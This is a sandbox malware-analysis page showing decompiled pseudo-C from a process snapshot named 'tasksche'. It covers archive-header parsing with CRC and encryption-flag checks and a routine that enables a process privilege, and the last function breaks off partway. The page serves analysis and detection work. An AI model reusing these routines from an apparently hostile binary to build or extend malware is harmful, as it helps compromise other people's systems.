Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: Crypt32.dll$CryptProtectMemory$CryptUnprotectMemory
API String ID: 2238633743-1753850145
Opcode ID: 5fe6950aaff99067424b8bdf76d8a3167c7df5a56d66711809a8faa92a841fba
Instruction ID: 6e3b8f00ce2f8e0fa430b510b5536735c08c44b91adf59875fbb0715622b898a
Opcode Fuzzy Hash: 5fe6950aaff99067424b8bdf76d8a3167c7df5a56d66711809a8faa92a841fba
Instruction Fuzzy Hash: 7EE092306003119FD7319F79EC44B03BBE89F94B10B14846FE984E3250C6B8D4518B5D

Uniqueness

Uniqueness Score: -1.00%

Function 00402F2C Relevance: 9.3, APIs: 3, Strings: 2, Instructions: 544
COMMONCrypto

Download Yara Rule

C-Code - Quality: 94%

			E00402F2C(intOrPtr* __ecx, void* __eflags) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t225;
				signed int _t229;
				void* _t231;
				void* _t232;
				unsigned int _t235;
				void* _t240;
				intOrPtr _t243;
				signed char _t246;
				char _t247;
				void* _t258;
				void* _t261;
				signed int _t267;
				signed int _t268;
				intOrPtr _t269;
				signed int* _t270;
				signed char _t271;
				void* _t274;
				signed int _t295;
				signed int _t306;
				signed int _t310;
				signed int _t327;
				signed char _t329;
				signed int _t335;
				void* _t343;
				void* _t346;
				signed int _t355;
				intOrPtr* _t360;
				signed int _t374;
				signed int _t382;
				signed int _t400;
				signed int _t404;
				signed int* _t412;
				unsigned int _t413;
				char _t416;
				void* _t434;
				void* _t443;
				signed int _t460;
				void* _t461;
				signed int _t462;
				signed char _t464;
				void* _t468;
				void* _t470;
				void* _t473;
				void* _t474;
				intOrPtr _t481;
				void* _t482;
				void* _t484;
				void* _t485;
				signed int _t494;
				void* _t497;

				_t485 = _t484 - 0x50;
				E0041A4DC(E00429589, _t482);
				E0041AAF0(0x2070);
				_push(_t479);
				_t360 = __ecx;
				E0040B736(_t482 + 0x28, __ecx);
				_t466 = 0;
				 *((intOrPtr*)(_t482 - 4)) = 0;
				if( *((char*)(__ecx + 0xb05c)) == 0) {
					L7:
					 *((char*)(_t482 + 0x53)) = 0;
					L12:
					__eflags = E0040B4C8(_t482 + 0x28, _t466, 7) - 7;
					if(__eflags < 0) {
						L5:
						E00401C37(_t360, _t460, _t496);
						L6:
						_t497 =  *(_t482 + 0x28) - _t466;
						L88:
						if(_t497 != 0) {
							_push( *(_t482 + 0x28));
							E0041A506(_t360, _t466, _t479, _t497);
						}
						_t225 = 0;
						L91:
						 *[fs:0x0] =  *((intOrPtr*)(_t482 - 0xc));
						return _t225;
					}
					 *(_t360 + 0x655c) = 0;
					_t479 = _t360 + 0x654c;
					 *_t479 = E0040B5AF(_t482 + 0x28);
					_t466 = E0040B670(_t482 + 0x28, 4);
					_t229 = E0040B60D(_t460);
					__eflags = _t229 | _t460;
					if((_t229 | _t460) == 0) {
						L86:
						E00401C80(_t360);
						L87:
						__eflags =  *(_t482 + 0x28);
						goto L88;
					}
					__eflags = _t466;
					if(_t466 == 0) {
						goto L86;
					}
					_t231 = _t229 + _t466;
					_t30 = _t231 - 3; // -3
					_t374 = _t30;
					_t31 = _t231 + 4; // 0x4
					_t466 = _t31;
					__eflags = _t374;
					if(_t374 < 0) {
						goto L86;
					}
					__eflags = _t466 - 7;
					if(_t466 < 7) {
						goto L86;
					}
					_t232 = E0040B4C8(_t482 + 0x28, _t466, _t374);
					__eflags =  *((intOrPtr*)(_t482 + 0x3c)) - _t466;
					if(__eflags >= 0) {
						 *(_t482 + 0x4c) = E0040B716(_t232, _t482 + 0x28);
						 *((intOrPtr*)(_t360 + 0x6550)) = E0040B60D(_t460);
						_t235 = E0040B60D(_t460);
						 *(_t360 + 0x6554) = _t235;
						 *(_t360 + 0x655c) = _t235 >> 0x00000002 & 0x00000001;
						 *((intOrPtr*)(_t360 + 0x6544)) =  *((intOrPtr*)(_t360 + 0x6550));
						__eflags =  *_t479 -  *(_t482 + 0x4c);
						 *(_t360 + 0x6558) = _t466;
						 *((char*)(_t482 + 0x4b)) =  *_t479 !=  *(_t482 + 0x4c);
						__eflags =  *((char*)(_t482 + 0x4b));
						if( *((char*)(_t482 + 0x4b)) == 0) {
							L22:
							_t466 = 0;
							__eflags =  *(_t360 + 0x6554) & 0x00000001;
							 *(_t482 + 0x18) = 0;
							 *(_t482 + 0x1c) = 0;
							if(( *(_t360 + 0x6554) & 0x00000001) == 0) {
								L27:
								__eflags =  *(_t360 + 0x6554) & 0x00000002;
								 *(_t482 + 0x20) = _t466;
								 *(_t482 + 0x24) = _t466;
								if(( *(_t360 + 0x6554) & 0x00000002) != 0) {
									 *(_t482 + 0x20) = E0040B60D(_t460);
									 *(_t482 + 0x24) = _t460;
								}
								_t240 = E004010D4(_t360,  *(_t360 + 0x6558));
								asm("adc ecx, [ebx+0xb044]");
								asm("adc ecx, [ebp+0x24]");
								 *((intOrPtr*)(_t360 + 0xb048)) = _t240 +  *((intOrPtr*)(_t360 + 0xb040)) +  *(_t482 + 0x20);
								_t243 =  *((intOrPtr*)(_t360 + 0x6550));
								 *((intOrPtr*)(_t360 + 0xb04c)) = 0;
								__eflags = _t243 - 1;
								if(__eflags == 0) {
									_t468 = _t360 + 0x6570;
									E00409B19(_t468);
									_t382 = 5;
									memcpy(_t468, _t479, _t382 << 2);
									_t466 = _t479 + _t382 + _t382;
									_t246 = E0040B60D(_t460);
									 *(_t360 + 0xb055) = _t246 & 0x00000001;
									 *(_t360 + 0xb054) = _t246 >> 0x00000002 & 0x00000001;
									 *(_t360 + 0xb057) = _t246 >> 0x00000004 & 0x00000001;
									 *(_t360 + 0xb05b) = _t246 >> 0x00000003 & 0x00000001;
									 *((char*)(_t360 + 0xb058)) = 0;
									 *((char*)(_t360 + 0xb05a)) = 1;
									__eflags = _t246 & 0x00000002;
									if((_t246 & 0x00000002) == 0) {
										_t198 = _t360 + 0xb078;
										 *_t198 =  *(_t360 + 0xb078) & 0x00000000;
										__eflags =  *_t198;
									} else {
										 *(_t360 + 0xb078) = E0040B60D(_t460);
									}
									__eflags =  *(_t360 + 0xb055);
									if( *(_t360 + 0xb055) == 0) {
										L77:
										_t247 = 0;
										__eflags = 0;
										goto L78;
									} else {
										__eflags =  *(_t360 + 0xb078);
										if( *(_t360 + 0xb078) != 0) {
											goto L77;
										}
										_t247 = 1;
										L78:
										 *((char*)(_t360 + 0xb059)) = _t247;
										__eflags =  *(_t482 + 0x18) |  *(_t482 + 0x1c);
										if(( *(_t482 + 0x18) |  *(_t482 + 0x1c)) != 0) {
											_push(_t360 + 0x6570);
											_push( *(_t482 + 0x18));
											_push(_t482 + 0x28);
											E0040272E(_t360, _t460);
										}
										L80:
										__eflags =  *((intOrPtr*)(_t360 + 0xb04c)) -  *((intOrPtr*)(_t360 + 0xb044));
										if(__eflags > 0) {
											L83:
											__eflags =  *(_t482 + 0x28);
											_t481 =  *((intOrPtr*)(_t482 + 0x3c));
											if(__eflags != 0) {
												_push( *(_t482 + 0x28));
												E0041A506(_t360, _t466, _t481, __eflags);
											}
											_t225 = _t481;
											goto L91;
										}
										if(__eflags < 0) {
											goto L86;
										}
										__eflags =  *((intOrPtr*)(_t360 + 0xb048)) -  *((intOrPtr*)(_t360 + 0xb040));
										if( *((intOrPtr*)(_t360 + 0xb048)) <=  *((intOrPtr*)(_t360 + 0xb040))) {
											goto L86;
										}
										goto L83;
									}
								}
								if(__eflags <= 0) {
									goto L80;
								}
								__eflags = _t243 - 3;
								if(_t243 <= 3) {
									__eflags = _t243 - 2;
									_t258 = _t360 + 0x65e8;
									if(_t243 != 2) {
										_t258 = _t360 + 0x8928;
									}
									_t470 = _t258;
									 *(_t482 + 0x4c) = _t258;
									E00409B44(_t470, 0);
									_t400 = 5;
									_t261 = memcpy(_t470, _t479, _t400 << 2);
									__eflags =  *((intOrPtr*)(_t360 + 0x6550)) - 2;
									_t479 =  *(_t482 + 0x4c);
									 *(_t479 + 0x1048) = _t261;
									 *((char*)(_t482 + 0x53)) =  *((intOrPtr*)(_t360 + 0x6550)) == 2;
									 *((char*)(_t479 + 0x10e9)) = 1;
									 *(_t479 + 0x104c) =  *(_t482 + 0x24);
									 *(_t479 + 0x1084) = E0040B60D(_t460);
									 *(_t479 + 0x1050) = E0040B60D(_t460);
									_t267 =  *(_t479 + 0x1084) >> 0x00000003 & 0x00000001;
									__eflags = _t267;
									 *(_t479 + 0x1054) = _t460;
									 *(_t479 + 0x108a) = _t267;
									if(_t267 != 0) {
										 *(_t479 + 0x1050) = 0x7fffffff;
										 *(_t479 + 0x1054) = 0x7fffffff;
									}
									_t268 =  *(_t479 + 0x104c);
									_t404 =  *(_t479 + 0x1054);
									__eflags = _t268 - _t404;
									_t461 =  *(_t479 + 0x1048);
									_t473 =  *(_t479 + 0x1050);
									if(__eflags < 0) {
										L48:
										_t461 = _t473;
										_t268 = _t404;
										goto L49;
									} else {
										if(__eflags > 0) {
											L49:
											 *(_t479 + 0x1058) = _t461;
											 *(_t479 + 0x105c) = _t268;
											_t269 = E0040B60D(_t461);
											__eflags =  *(_t479 + 0x1084) & 0x00000002;
											 *((intOrPtr*)(_t479 + 0x1c)) = _t269;
											if(( *(_t479 + 0x1084) & 0x00000002) != 0) {
												E00411357(_t479 + 0x1030, _t461, E0040B5AF(_t482 + 0x28), 0);
											}
											_t270 = _t479 + 0x1060;
											 *_t270 =  *_t270 & 0x00000000;
											__eflags =  *(_t479 + 0x1084) & 0x00000004;
											if(( *(_t479 + 0x1084) & 0x00000004) != 0) {
												 *_t270 = 2;
												 *((intOrPtr*)(_t479 + 0x1064)) = E0040B5AF(_t482 + 0x28);
											}
											 *(_t479 + 0x10f0) =  *(_t479 + 0x10f0) & 0x00000000;
											_t271 = E0040B60D(_t461);
											 *(_t482 + 0x4c) = _t271;
											 *(_t479 + 0x1a) = _t271 >> 0x00000007 & 0x00000007;
											 *(_t479 + 0x19) = _t271 & 0x0000003f;
											 *((char*)(_t479 + 0x18)) = E0040B60D(_t461);
											_t274 = E0040B60D(_t461);
											_t462 =  *((intOrPtr*)(_t479 + 0x18));
											_t474 = _t274;
											_t412 = _t479 + 0x10ec;
											 *(_t479 + 0x10e8) =  *(_t360 + 0x6554) >> 0x00000006 & 0x00000001;
											 *_t412 = 2;
											__eflags = _t462 - 1;
											if(_t462 != 1) {
												__eflags = _t462;
												if(_t462 == 0) {
													 *_t412 =  *_t412 & 0x00000000;
													__eflags =  *_t412;
												}
											} else {
												 *_t412 = 1;
											}
											_t413 =  *(_t479 + 8);
											 *(_t479 + 0x1088) = _t413 >> 0x00000003 & 0x00000001;
											__eflags =  *((char*)(_t482 + 0x53));
											 *(_t479 + 0x1089) = _t413 >> 0x00000004 & 0x00000001;
											 *(_t479 + 0x10ea) = _t413 >> 0x00000005 & 0x00000001;
											if( *((char*)(_t482 + 0x53)) == 0) {
												L60:
												_t416 = 0;
												__eflags = 0;
												goto L61;
											} else {
												__eflags =  *(_t482 + 0x4c) & 0x00000040;
												if(( *(_t482 + 0x4c) & 0x00000040) == 0) {
													goto L60;
												}
												_t416 = 1;
												L61:
												 *((char*)(_t479 + 0x10e0)) = _t416;
												_t464 =  *(_t479 + 0x1084) & 0x00000001;
												asm("sbb ecx, ecx");
												asm("sbb eax, eax");
												 *(_t479 + 0x10e4) =  !( ~(_t464 & 0x000000ff)) & 0x00020000 << ( *(_t482 + 0x4c) >> 0x0000000a & 0x0000000f);
												 *(_t479 + 0x10e1) = _t464;
												 *(_t479 + 0x108c) =  ~( *(_t479 + 0x108b) & 0x000000ff) & 0x00000005;
												__eflags = _t474 - 0x1fff;
												if(_t474 >= 0x1fff) {
													_t474 = 0x1fff;
												}
												E0040B696(_t482 + 0x28, _t482 - 0x207c, _t474);
												 *((char*)(_t482 + _t474 - 0x207c)) = 0;
												_t466 = _t479 + 0x20;
												E00411CD1(_t482 + 0x28, _t482 - 0x207c, _t479 + 0x20, 0x800);
												__eflags =  *(_t482 + 0x18) |  *(_t482 + 0x1c);
												if(( *(_t482 + 0x18) |  *(_t482 + 0x1c)) != 0) {
													_push(_t479);
													_push( *(_t482 + 0x18));
													_push(_t482 + 0x28);
													E0040272E(_t360, _t464);
												}
												__eflags =  *((char*)(_t482 + 0x53));
												if( *((char*)(_t482 + 0x53)) == 0) {
													_t295 = E0041AA21(_t466, "CMT");
													__eflags = _t295;
													if(_t295 == 0) {
														 *((char*)(_t360 + 0xb056)) = 1;
													}
												} else {
													E00401A7E(_t360, _t479);
												}
												__eflags =  *((char*)(_t482 + 0x4b));
												if( *((char*)(_t482 + 0x4b)) != 0) {
													E0040639F(0x1a, _t360 + 0x1e, _t466);
												}
												goto L80;
											}
										}
										__eflags = _t461 - _t473;
										if(_t461 > _t473) {
											goto L49;
										}
										goto L48;
									}
								}
								__eflags = _t243 - 4;
								if(_t243 == 4) {
									_t434 = 5;
									memcpy(_t360 + 0x65b0, _t479, 0 << 2);
									_t466 = _t479 + _t434 + _t434;
									_t306 = E0040B60D(_t460);
									__eflags = _t306;
									if(_t306 <= 0) {
										 *(_t360 + 0x65c4) = E0040B60D(_t460) & 0x00000001;
										_t310 = E0040B562(_t482 + 0x28) & 0x000000ff;
										 *(_t360 + 0x65c8) = _t310;
										__eflags = _t310 - 0x18;
										if(_t310 > 0x18) {
											goto L36;
										}
										E0040B696(_t482 + 0x28, _t360 + 0x65cc, 0x10);
										__eflags =  *(_t360 + 0x65c4);
										if( *(_t360 + 0x65c4) != 0) {
											_t479 = _t360 + 0x65dc;
											E0040B696(_t482 + 0x28, _t360 + 0x65dc, 8);
											E0040B696(_t482 + 0x28, _t482 + 0x4c, 4);
											E004106AE(_t482 - 0x7c);
											E004109B0(_t482 - 0x7c, _t360 + 0x65dc, 8);
											E00410A29(_t482 + 0x28, _t460, __eflags, _t482 - 0x7c, _t482);
											_t327 = E0041AC04(_t482 + 0x4c, _t482, 4);
											asm("sbb al, al");
											_t329 =  ~_t327 + 1;
											__eflags = _t329;
											 *(_t360 + 0x65c4) = _t329;
										}
										 *((char*)(_t360 + 0xb05c)) = 1;
										goto L80;
									}
									L36:
									E00401CA3(_t360, _t360 + 0x1e);
									goto L87;
								}
								__eflags = _t243 - 5;
								if(_t243 == 5) {
									_t443 = _t243;
									memcpy(_t360 + 0x88e8, _t479, 0 << 2);
									_t466 = _t479 + _t443 + _t443;
									 *(_t360 + 0x8904) = E0040B60D(_t460) & 0x00000001;
									 *((char*)(_t360 + 0x8907)) = 0;
									 *((char*)(_t360 + 0x8905)) = 0;
									 *((char*)(_t360 + 0x8906)) = 0;
								}
								goto L80;
							}
							 *(_t482 + 0x18) = E0040B60D(_t460);
							_t335 =  *(_t360 + 0x6558);
							 *(_t482 + 0x1c) = _t460;
							__eflags = _t460;
							if(__eflags < 0) {
								goto L27;
							}
							if(__eflags > 0) {
								L26:
								E00401C80(_t360);
								goto L6;
							}
							__eflags =  *(_t482 + 0x18) - _t335;
							if(__eflags < 0) {
								goto L27;
							}
							goto L26;
						}
						E00401C80(_t360);
						 *((char*)(_t360 + 0xb064)) = 1;
						E004062BA(0x4335ac, 3);
						__eflags =  *((char*)(_t482 + 0x53));
						if( *((char*)(_t482 + 0x53)) == 0) {
							goto L22;
						} else {
							E0040639F(4, _t360 + 0x1e, _t360 + 0x1e);
							 *((char*)(_t360 + 0xb065)) = 1;
							goto L87;
						}
					} else {
						E00401C37(_t360, _t460, __eflags);
						goto L87;
					}
				}
				_t460 =  *(__ecx + 0xb044);
				_t343 =  *((intOrPtr*)(__ecx + 0xb060)) + 8;
				asm("adc ecx, edi");
				_t494 = _t460;
				if(_t494 < 0 || _t494 <= 0 &&  *((intOrPtr*)(__ecx + 0xb040)) <= _t343) {
					goto L7;
				} else {
					 *((char*)(_t482 + 0x53)) = 1;
					E00401BBB(_t360);
					_t346 =  *((intOrPtr*)( *_t360 + 8))(_t482 + 0x10, 0x10);
					_t496 = _t346 - 0x10;
					if(_t346 == 0x10) {
						_t479 = _t360 + 0x1024;
						E00405FE7(_t479, _t460, _t466, 5,  *((intOrPtr*)(_t360 + 0x6524)) + 0x4024, _t360 + 0x65cc, _t482 + 0x10,  *(_t360 + 0x65c8), _t466, _t482 + 0x20);
						__eflags =  *(_t360 + 0x65c4);
						if( *(_t360 + 0x65c4) == 0) {
							L11:
							 *(_t482 + 0x44) = _t479;
							goto L12;
						}
						_t355 = E0041AC04(_t482 + 0x20, _t360 + 0x65dc, 8);
						_t485 = _t485 + 0xc;
						__eflags = _t355;
						if(_t355 == 0) {
							goto L11;
						} else {
							E00406376(6, _t360 + 0x1e);
							 *((char*)(_t360 + 0xb065)) = 1;
							E004062BA(0x4335ac, 0xb);
							goto L6;
						}
					}
					goto L5;
				}
			}

0x00402f2d
0x00402f35
0x00402f3f
0x00402f45
0x00402f46
0x00402f4d
0x00402f52
0x00402f5b
0x00402f5e
0x00402faf
0x00402faf
0x0040302f
0x00403039
0x0040303c
0x00402fa0
0x00402fa2
0x00402fa7
0x00402fa7
0x00403680
0x00403680
0x00403682
0x00403685
0x0040368a
0x0040368b
0x0040368d
0x00403693
0x0040369e
0x0040369e
0x00403045
0x0040304c
0x0040305c
0x00403066
0x00403068
0x0040306f
0x00403071
0x00403675
0x00403677
0x0040367c
0x0040367c
0x00000000
0x0040367c
0x00403077
0x00403079
0x00000000
0x00000000
0x0040307f
0x00403081
0x00403081
0x00403084
0x00403084
0x00403087
0x00403089
0x00000000
0x00000000
0x0040308f
0x00403092
0x00000000
0x00000000
0x0040309c
0x004030a1
0x004030a4
0x004030bd
0x004030c8
0x004030ce
0x004030d3
0x004030de
0x004030ea
0x004030f3
0x004030f5
0x004030fb
0x004030ff
0x00403103
0x0040313d
0x0040313d
0x0040313f
0x00403146
0x00403149
0x0040314c
0x0040317b
0x0040317b
0x00403182
0x00403185
0x00403188
0x00403192
0x00403195
0x00403195
0x004031a0
0x004031ad
0x004031b6
0x004031b9
0x004031bf
0x004031c5
0x004031cb
0x004031ce
0x0040358d
0x00403595
0x0040359c
0x0040359d
0x0040359d
0x004035a2
0x004035ac
0x004035ba
0x004035c8
0x004035d6
0x004035dc
0x004035e3
0x004035ea
0x004035ec
0x004035fe
0x004035fe
0x004035fe
0x004035ee
0x004035f6
0x004035f6
0x00403605
0x0040360c
0x0040361c
0x0040361c
0x0040361c
0x00000000
0x0040360e
0x0040360e
0x00403615
0x00000000
0x00000000
0x00403619
0x0040361e
0x0040361e
0x00403627
0x0040362a
0x00403632
0x00403633
0x00403639
0x0040363c
0x0040363c
0x00403641
0x00403647
0x0040364d
0x0040365f
0x0040365f
0x00403663
0x00403666
0x00403668
0x0040366b
0x00403670
0x00403671
0x00000000
0x00403671
0x0040364f
0x00000000
0x00000000
0x00403657
0x0040365d
0x00000000
0x00000000
0x00000000
0x0040365d
0x0040360c
0x004031d4
0x00000000
0x00000000
0x004031da
0x004031dd
0x004032f7
0x004032fa
0x00403300
0x00403302
0x00403302
0x00403308
0x0040330e
0x00403311
0x0040331b
0x0040331c
0x0040331e
0x00403325
0x00403328
0x00403334
0x00403338
0x0040333f
0x0040334d
0x00403358
0x00403367
0x00403367
0x00403369
0x0040336f
0x00403375
0x0040337c
0x00403382
0x00403382
0x00403388
0x0040338e
0x00403394
0x00403396
0x0040339c
0x004033a2
0x004033aa
0x004033aa
0x004033ac
0x00000000
0x004033a4
0x004033a4
0x004033ae
0x004033b1
0x004033b7
0x004033bd
0x004033c2
0x004033c9
0x004033cc
0x004033df
0x004033df
0x004033e4
0x004033ea
0x004033ed
0x004033f4
0x004033f9
0x00403404
0x00403404
0x0040340a
0x00403414
0x00403421
0x00403424
0x0040342c
0x00403437
0x0040343a
0x0040343f
0x00403442
0x0040344f
0x00403455
0x0040345b
0x00403461
0x00403464
0x0040346e
0x00403470
0x00403472
0x00403472
0x00403472
0x00403466
0x00403466
0x00403466
0x00403475
0x0040347f
0x00403492
0x00403496
0x0040349c
0x004034a2
0x004034af
0x004034af
0x004034af
0x00000000
0x004034a4
0x004034a4
0x004034a8
0x00000000
0x00000000
0x004034ac
0x004034b1
0x004034b7
0x004034c6
0x004034d5
0x004034e4
0x004034e6
0x004034f4
0x004034fa
0x00403500
0x00403502
0x00403504
0x00403504
0x00403511
0x00403516
0x00403523
0x0040352e
0x00403536
0x00403539
0x0040353b
0x0040353c
0x00403542
0x00403545
0x00403545
0x0040354a
0x0040354e
0x00403560
0x00403567
0x00403569
0x0040356b
0x0040356b
0x00403550
0x00403553
0x00403553
0x00403572
0x00403576
0x00403583
0x00403583
0x00000000
0x00403576
0x004034a2
0x004033a6
0x004033a8
0x00000000
0x00000000
0x00000000
0x004033a8
0x004033a2
0x004031e3
0x004031e6
0x00403227
0x0040322e
0x0040322e
0x00403233
0x00403238
0x0040323a
0x00403259
0x00403264
0x00403267
0x0040326d
0x00403270
0x00000000
0x00000000
0x0040327e
0x00403283
0x0040328a
0x0040328e
0x00403298
0x004032a6
0x004032af
0x004032bb
0x004032c8
0x004032d7
0x004032e1
0x004032e3
0x004032e3
0x004032e5
0x004032e5
0x004032eb
0x00000000
0x004032eb
0x0040323c
0x00403242
0x00000000
0x00403242
0x004031e8
0x004031eb
0x004031f2
0x004031f9
0x004031f9
0x00403205
0x0040320b
0x00403212
0x00403219
0x00403219
0x00000000
0x004031eb
0x00403158
0x0040315b
0x00403161
0x00403164
0x00403166
0x00000000
0x00000000
0x00403168
0x0040316f
0x00403171
0x00000000
0x00403171
0x0040316a
0x0040316d
0x00000000
0x00000000
0x00000000
0x0040316d
0x00403107
0x00403113
0x0040311a
0x0040311f
0x00403123
0x00000000
0x00403125
0x0040312c
0x00403131
0x00000000
0x00403131
0x004030a6
0x004030a8
0x00000000
0x004030a8
0x004030a4
0x00402f66
0x00402f6e
0x00402f71
0x00402f73
0x00402f75
0x00000000
0x00402f83
0x00402f85
0x00402f89
0x00402f98
0x00402f9b
0x00402f9e
0x00402fd9
0x00402fe2
0x00402fe7
0x00402fee
0x0040302c
0x0040302c
0x00000000
0x0040302c
0x00402ffd
0x00403002
0x00403005
0x00403007
0x00000000
0x00403009
0x0040300f
0x0040301b
0x00403022
0x00000000
0x00403022
0x00403007
0x00000000
0x00402f9e

APIs

__EH_prolog.LIBCMT ref: 00402F35
_memcmp.LIBCMT ref: 00402FFD
_memcmp.LIBCMT ref: 004032D7

Strings

@, xrefs: 004034A4
CMT, xrefs: 0040355A

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: _memcmp$H_prolog
String ID: @$CMT
API String ID: 212800410-3935043585
Opcode ID: 38be33fccaa1f9edc96b75b1bf7188d02c15f67df1903a44733cd563c8160717
Instruction ID: 4535b6ba2d5654eb70152741eafeedd3820f65e0183003bc7b62017ff8f1088e
Opcode Fuzzy Hash: 38be33fccaa1f9edc96b75b1bf7188d02c15f67df1903a44733cd563c8160717
Instruction Fuzzy Hash: 252215715006849FDB24DF24C891BDA3BE5AF14308F08057FED4AEB2C6DB799588CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00406553 Relevance: 9.0, APIs: 6, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406553(WCHAR* _a4) {
				void* _v8;
				intOrPtr _v12;
				struct _TOKEN_PRIVILEGES _v24;
				long _t19;

				_t19 = 0;
				if(OpenProcessToken(GetCurrentProcess(), 0x20,  &_v8) != 0) {
					_v24.PrivilegeCount = 1;
					_v12 = 2;
					if(LookupPrivilegeValueW(0, _a4,  &(_v24.Privileges)) != 0 && AdjustTokenPrivileges(_v8, 0,  &_v24, 0, 0, 0) != 0 && GetLastError() == 0) {
						_t19 = 1;
					}
					CloseHandle(_v8);
				}
				return _t19;
			}

0x00406560
0x00406571
0x0040657a
0x00406582
0x00406591
0x004065b2
0x004065b2
0x004065b7
0x004065b7
0x004065c1

APIs

GetCurrentProcess.KERNEL32(00000020,?), ref: 00406562
OpenProcessToken.ADVAPI32(00000000), ref: 00406569
LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 00406589
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000001,00000000,00000000,00000000), ref: 0040659E
GetLastError.KERNEL32 ref: 004065A8
CloseHandle.KERNEL32(?), ref: 004065B7

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: ProcessToken$AdjustCloseCurrentErrorHandleLastLookupOpenPrivilegePrivilegesValue
String ID:
API String ID: 3398352648-0
Opcode ID: c4d8732f7f1e2046f43f8b45a71e1742e44d7c33346580acd03521233585be14
Instruction ID: 201d4201c496fcfd48e74424a9b99b2c6b7fcfb09556bcb8571a25bcb240e8ee
Opcode Fuzzy Hash: c4d8732f7f1e2046f43f8b45a71e1742e44d7c33346580acd03521233585be14
Instruction Fuzzy Hash: A0011DB1600209FFDB209FA4DC89EAF7BBCAB04344F401076B902E1255D775CE259A75

Uniqueness

Uniqueness Score: -1.00%

Function 00401CC1 Relevance: 7.8, APIs: 3, Strings: 1, Instructions: 769
COMMONCrypto

Download Yara Rule

C-Code - Quality: 95%

			E00401CC1(intOrPtr* __ecx, void* __eflags) {
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t334;
				unsigned int _t340;
				signed int _t344;
				signed int _t345;
				void* _t347;
				signed int _t349;
				char _t369;
				signed short _t376;
				signed int _t382;
				void* _t388;
				signed int _t389;
				signed int _t392;
				void* _t396;
				signed char _t401;
				char _t406;
				signed int _t414;
				char _t415;
				signed int _t418;
				signed int _t419;
				void* _t420;
				void* _t422;
				signed int _t429;
				signed short _t434;
				signed short _t439;
				signed char _t444;
				signed int _t448;
				signed int _t454;
				signed int _t461;
				signed int _t468;
				void* _t469;
				void* _t471;
				short* _t472;
				void* _t481;
				intOrPtr _t488;
				void* _t492;
				signed char _t495;
				signed int _t497;
				void* _t500;
				void* _t503;
				intOrPtr* _t509;
				signed int _t521;
				signed int _t526;
				signed int* _t530;
				unsigned int _t531;
				signed int _t533;
				signed int _t545;
				char _t556;
				char _t557;
				signed int _t559;
				signed int _t560;
				signed int* _t576;
				signed int _t620;
				signed int _t621;
				signed int _t622;
				signed int _t644;
				signed int _t646;
				signed int _t650;
				signed int _t652;
				void* _t653;
				void* _t656;
				signed int _t659;
				signed int _t660;
				signed int _t662;
				signed int _t665;
				signed int _t666;
				void* _t667;
				signed int _t669;
				signed int _t670;
				signed int _t671;
				unsigned int _t676;
				signed int _t677;
				intOrPtr _t680;
				signed int _t681;
				signed int _t683;
				void* _t685;
				signed int _t694;

				E0041A4DC(E00429562, _t685);
				E0041AAF0(0x2874);
				_push(_t677);
				_t509 = __ecx;
				E0040B736(_t685 - 0x48, __ecx);
				_t650 = 0;
				 *((intOrPtr*)(_t685 - 4)) = 0;
				if( *((char*)(__ecx + 0xb05c)) == 0) {
					L9:
					 *((char*)(_t685 - 0xe)) = 0;
					L11:
					E0040B4C8(_t685 - 0x48, _t650, 7);
					__eflags =  *((intOrPtr*)(_t685 - 0x34)) - _t650;
					if(__eflags == 0) {
						L5:
						E00401C37(_t509, _t644, _t696);
						L6:
						_t697 =  *((intOrPtr*)(_t685 - 0x48)) - _t650;
						if( *((intOrPtr*)(_t685 - 0x48)) != _t650) {
							_push( *((intOrPtr*)(_t685 - 0x48)));
							E0041A506(_t509, _t650, _t677, _t697);
						}
						_t334 = 0;
						L134:
						 *[fs:0x0] =  *((intOrPtr*)(_t685 - 0xc));
						return _t334;
					}
					 *(_t509 + 0x654c) = E0040B57A(_t685 - 0x48) & 0x0000ffff;
					 *(_t509 + 0x655c) = 0;
					_t677 = E0040B562(_t685 - 0x48) & 0x000000ff;
					_t340 = E0040B57A(_t685 - 0x48) & 0x0000ffff;
					 *(_t509 + 0x6554) = _t340;
					 *(_t509 + 0x655c) = _t340 >> 0x0000000e & 0x00000001;
